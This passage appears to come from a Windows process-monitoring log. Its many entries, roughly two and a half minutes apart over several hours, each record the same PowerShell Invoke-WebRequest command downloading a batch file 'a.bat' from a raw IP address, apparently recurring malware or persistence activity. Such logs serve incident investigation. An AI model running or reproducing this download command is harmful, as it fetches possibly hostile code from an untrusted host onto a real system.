'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:32:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:34:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:37:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:39:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:42:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:44:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:47:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:49:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:52:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:54:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:57:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 23:59:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:02:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:04:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:07:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:09:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:12:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:14:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:17:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:19:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:22:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:24:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:27:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:29:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:32:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:34:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:37:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:39:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:42:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:44:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:47:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:49:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:52:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:54:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:57:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 00:59:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:02:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:04:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:07:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:09:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:12:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:14:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:17:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:19:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:22:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:24:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:27:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:29:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:32:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:34:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:37:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:39:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:42:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:44:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:47:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:49:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:52:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:54:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:57:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 01:59:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:02:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:04:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:07:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:09:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:12:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:14:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:17:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:19:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:22:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:24:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:27:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:29:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:32:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:34:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:37:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:39:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:42:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:44:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:47:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:49:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:52:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:54:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:57:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 02:59:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:02:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:05:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:07:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:10:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:12:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:15:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:17:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:20:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:22:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:25:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:27:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:30:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:32:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:35:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:37:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:40:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:42:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:45:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:47:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:50:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:52:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:55:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 03:57:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:00:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:02:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:05:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:07:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:10:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:12:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:15:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:17:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:20:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:22:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:25:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:27:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:30:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:32:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:35:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:37:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:40:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:42:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:45:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:47:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:50:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:52:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:55:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 04:57:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:00:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:02:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:05:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:07:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 